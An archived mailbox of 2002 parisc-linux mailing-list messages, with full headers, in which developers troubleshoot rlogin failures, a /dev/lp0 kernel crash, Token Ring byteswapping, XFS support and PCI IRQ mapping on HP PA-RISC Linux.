	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13768

phi 4369 wrote:
> Hi All,
> 
> On my freshly installed 712 palinux when trying to rlogin into it I got this
> 
> iws1pb05:/home/phi> rlogin iws1pb02
> Connection closed.
> iws1pb05:/home/phi>

did you check /var/log/syslog on the remote machine iws1pb02?  Non-matching
name-ip pairs could probably cause this.  If your /etc/hosts.deny contains
the following entry, a non-match will result in a dropped connection:

ALL: PARANOID

Regards,

	Joey

-- 
Life is too short to run proprietary software.  -- Bdale Garbee



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rlogin --> Connection closed.
Date: Wed, 16 Jan 2002 10:56:34 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20020116175634.383D637D2B@carmen.fc.hp.com>
References: <1011117789.3c446eddddc77@webmail.tiscali.be> <20020115181518.F19567@parcelfarce.linux.theplanet.co.uk> <1011169636.3c453964624af@webmail.tiscali.be>  <3C454208.C1F66E59@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620977 1252 80.91.229.3 (22 Nov 2014 01:49:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: phi 4369 <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 10:56:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09389482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 10:56:36 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP id EF01A60033F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 12:56:34 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 383D637D2B; Wed, 16 Jan 2002 10:56:34 -0700 (MST)
In-Reply-To: Your message of "Wed, 16 Jan 2002 10:04:08 +0100."
             <3C454208.C1F66E59@hpfrcu81.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13769

phi 4369 writes...

> Hi All,
> 
> On my freshly installed 712 palinux when trying to rlogin into it I got this
> 
> iws1pb05:/home/phi> rlogin iws1pb02
> Connection closed.
> iws1pb05:/home/phi>
> 
> 
> Indeed I did all I thought was enough to make it workable (install of the
> rlogind, resolv.conf, nsswitch.conf, inetd.conf, .rhosts with rights ok,
> etc...)

Do you have rsh-server installed as well? Have you looked in /var/log/auth.log?

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rlogin --> Connection closed.
Date: Wed, 16 Jan 2002 10:58:42 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20020116175842.B2E5B37D2B@carmen.fc.hp.com>
References: <1011117789.3c446eddddc77@webmail.tiscali.be> <20020115181518.F19567@parcelfarce.linux.theplanet.co.uk> <1011169636.3c453964624af@webmail.tiscali.be> <3C454208.C1F66E59@hpfrcu81.france.hp.com>  <20020116175634.383D637D2B@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620977 1255 80.91.229.3 (22 Nov 2014 01:49:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:37 +0000 (UTC)
Cc: phi 4369 <phi@hpfrcu81.france.hp.com>,
	parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 10:58:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 934FB482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 10:58:43 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP id ECD71600770
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 12:58:42 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id B2E5B37D2B; Wed, 16 Jan 2002 10:58:42 -0700 (MST)
In-Reply-To: Your message of "Wed, 16 Jan 2002 10:56:34 MST."
             <20020116175634.383D637D2B@carmen.fc.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13770

Matt Taggart writes...

> 
> phi 4369 writes...
> 
> > Hi All,
> > 
> > On my freshly installed 712 palinux when trying to rlogin into it I got thi
> s
> > 
> > iws1pb05:/home/phi> rlogin iws1pb02
> > Connection closed.
> > iws1pb05:/home/phi>
> > 
> > 
> > Indeed I did all I thought was enough to make it workable (install of the
> > rlogind, resolv.conf, nsswitch.conf, inetd.conf, .rhosts with rights ok,
> > etc...)
> 
> Do you have rsh-server installed as well?

Oh, you must if you're getting that login.

> Have you looked in /var/log/auth.log?

This still might be useful.

Not awake enough to be answering email,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi 4369 <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rlogin --> Connection closed.
Date: Wed, 16 Jan 2002 20:18:58 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <3C45D221.3312E6D8@hpfrcu81.france.hp.com>
References: <1011117789.3c446eddddc77@webmail.tiscali.be> <20020115181518.F19567@parcelfarce.linux.theplanet.co.uk> <1011169636.3c453964624af@webmail.tiscali.be> <3C454208.C1F66E59@hpfrcu81.france.hp.com>  <20020116175634.383D637D2B@carmen.fc.hp.com> <20020116175842.B2E5B37D2B@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620978 1257 80.91.229.3 (22 Nov 2014 01:49:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 12:20:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9139482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 12:20:02 -0700 (MST)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 9490A3AA
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 20:20:00 +0100 (MET)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id UAA01102; Wed, 16 Jan 2002 20:18:58 +0100 (MET)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13771

> >
> > Do you have rsh-server installed as well?
> 
> Oh, you must if you're getting that login.

Yes indeed 
>From Contents-hppa
...
usr/share/man/man8/in.rlogind.8.gz                          net/rsh-server
...

> 
> > Have you looked in /var/log/auth.log?
> 
> This still might be useful.

Yes plenty of things like this
Jan 16 16:08:56 iws1pb02 PAM_unix[191]: (login) session opened for user phi by
(uid=0)


> 
> Not awake enough to be answering email,
> 

I see :-) time to go to sleep for me :-)

Apparently nobody saw that I provided this funne workaround

while : 
do rlogin iws1pb02
done

iws1pb05:/home/phi> while :
do rlogin iws1pb02
done
Connection closed.
Connection closed.
Connection closed.
Connection closed.
Last login: Wed Jan 16 20:03:52 2002 from iws1pb05 on pts/0
Linux iws1pb02 2.4.17-pa11 #4 Wed Jan 16 10:48:18 CET 2002 parisc unknown
iws1pb02:/home/phi>


If something was wrong with the authentication setup, this while loop would
never succeed, sometime I got it working, here after the 4th attempt

I would like to add the rcp works fine as well as remsh from my B2000 HPUX11
to my palinux box, only the rlogin have problem sometimes...

I am netwoking iliterate, do you think timing could be a factor, do we need a
trace here?

Phi

--
mailto:Philippe_Benard@hp.com
WTEC HP-UX kernel debugging tools



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM TR patch
Date: Wed, 16 Jan 2002 21:20:12 +0100 (CET)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0201162119070.16072-100000@alpha.bocc.de>
References: <20020115231052.A4018@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620978 1260 80.91.229.3 (22 Nov 2014 01:49:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:38 +0000 (UTC)
Cc: linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 13:21:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0F4A482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 13:21:25 -0700 (MST)
Original-Received: from pD9E2787D.dip.t-dialin.net (pD9E2787D.dip.t-dialin.net [217.226.120.125])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g0GKKQK11355;
	Wed, 16 Jan 2002 21:20:27 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <20020115231052.A4018@zaphod.halden.lillfab.se>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13772

Hi Daniel,

> I think the driver was correct. The i/o layer should not try to byteswap
> the io requests, because it can not second-guess what the driver is doing.

I guess the 68000 code is the reference here as it was the first BE port, 
and they do the byteswap, as well.

--jochen




From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] journaling filesystem on parisc?
Date: Wed, 16 Jan 2002 13:19:49 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <a05100305b86b7478c8b3@[129.64.46.83]>
References: <15429.47940.937550.926908@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416620978 1262 80.91.229.3 (22 Nov 2014 01:49:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 14:34:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.cs.brandeis.edu (hermes.cs.brandeis.edu [129.64.2.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A29D482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 14:34:09 -0700 (MST)
Original-Received: from [129.64.46.83] (dhcp-129.64.46.83.cs-i.brandeis.edu [129.64.46.83])
	by hermes.cs.brandeis.edu (8.11.6/8.9.3) with ESMTP id g0GLY7X22935
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Jan 2002 16:34:07 -0500
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
In-Reply-To: <15429.47940.937550.926908@gargle.gargle.HOWL>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13773

>Did not see this mentioned on the list or the site. Any experiences on
>hppa? Does XFS work?
>
>Thanks, Matthias
>

You could try applying the XFS patches to the kernel for PARISC, and 
I know that they have worked on other RISC architectures(ppc and 
alpha, possibly also sparc), but I'm guessing you might need to do a 
little more work than just kernel compilation
aaron

-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-tr] Re: [parisc-linux] IBM TR patch
Date: Wed, 16 Jan 2002 22:01:30 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020117050130.64F98482D@dsl2.external.hp.com>
References: <Pine.LNX.4.43.0201152120370.11606-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620978 1264 80.91.229.3 (22 Nov 2014 01:49:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:38 +0000 (UTC)
Cc: mike_phillips@urscorp.com, linux-tr@linuxtr.net,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>,
	Randolph Chung <randolph@tausq.org>,
	Matthew Wilcox <willy@debian.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 22:01:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 64F98482D; Wed, 16 Jan 2002 22:01:30 -0700 (MST)
In-Reply-To: Message from Jochen Friedrich <jochen@scram.de> 
   of "Tue, 15 Jan 2002 21:28:13 +0100." <Pine.LNX.4.43.0201152120370.11606-100000@alpha.bocc.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13774

Jochen Friedrich wrote:
> Hi Mike,
> I guess the pre-summarisation is there for performance reasons. In 
> particular on older architectures, it's probably faster to copy and 
> calculate the IPv4 checksum in the same step than to copy and checksum in 
> two seperate steps.

I believe it's faster on all archs to do this in one loop.
Assuming one has enough registers to do both operations at the same time.
My assumption is anything that can run linux has enough registers.
(ie ld/st does not collide with xor).

grant



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: crash when writing to /dev/lp0
Date: Wed, 16 Jan 2002 22:22:34 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20020117052234.B0508482D@dsl2.external.hp.com>
References: <E16Qo8q-0003TX-00@smtp.web.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620979 1267 80.91.229.3 (22 Nov 2014 01:49:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:39 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Jonas Meyer <shitse@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 16 22:22:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B0508482D; Wed, 16 Jan 2002 22:22:34 -0700 (MST)
In-Reply-To: Message from Jonas Meyer <shitse@web.de> 
   of "Wed, 16 Jan 2002 12:22:03 +0100." <E16Qo8q-0003TX-00@smtp.web.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13775

Jonas Meyer wrote:
> I'm using a hp 712/60.I'm happy to see my keyboard working now with your 
> help.But now i ran into another problem: i want to connect a printer to it, 
> but whenever i write anything to /dev/lp0 the box crashes at once showing a 
> great lot of numbers on the screen.

THe "great lot of numbers" is the stack data and reason of the crash.
By crash, you mean that the box has to be rebooted?
or just the application dies?

This sounds like a kernel bug and follows really only need to go
to parisc-linux mailing list.

I'd like to at least see the "kernel panic" reason, GR02 and IOAQ values.
Unless you are using serial console, this has to be copied by hand.

> i'm using sid with the latest available kernel-image-2.4.16-32.

Can you pull a 2.4.17 parisc kernel from ftp.parisc-linux.org/kernels?
I'm not too excited about debugging the slightly older versions
since it's harder to retrieve the source from CVS.

> Another problem is the box tells me init men not freed when booting.

That's a known problem that can be safely ignored for now.

thanks,
grant



From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alexandre April" <aapril@galeasec.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] irq vs smp
Date: Thu, 17 Jan 2002 11:02:31 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <LLENLJGPDFAGGGBLOAHKCEBLCFAA.aapril@galeasec.com>
Reply-To: <aapril@galeasec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620979 1269 80.91.229.3 (22 Nov 2014 01:49:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:39 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 17 09:04:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pubnix.net (Mail.pubnix.net [192.172.250.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2F1D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jan 2002 09:04:14 -0700 (MST)
Original-Received: from aapril ([205.205.45.2])
	by mail.pubnix.net (8.9.3/8.9.3) with SMTP id LAA10507
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jan 2002 11:04:12 -0500 (EST)
	(envelope-from aapril@galeasec.com)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13776

	I'm developping a char driver for one of our PCI card in linux kernel
2.4.2-2smp (Multi-processor). And the IRQ that I read from my pci config
space is 0x7 but the one that the kernel sees when I do "lspci -v" is 0x27.
Is there a way the pass from 0x7 to 0x27 using some kernel macro's.

	Thanks

	Alex




From - Thu Nov 08 21:21:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] irq vs smp
Date: Thu, 17 Jan 2002 16:17:09 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20020117161709.B30060@parcelfarce.linux.theplanet.co.uk>
References: <LLENLJGPDFAGGGBLOAHKCEBLCFAA.aapril@galeasec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620979 1274 80.91.229.3 (22 Nov 2014 01:49:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alexandre April <aapril@galeasec.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 17 09:17:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2E4F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jan 2002 09:17:15 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16RFDx-0000po-00; Thu, 17 Jan 2002 16:17:09 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <LLENLJGPDFAGGGBLOAHKCEBLCFAA.aapril@galeasec.com>; from aapril@galeasec.com on Thu, Jan 17, 2002 at 11:02:31AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
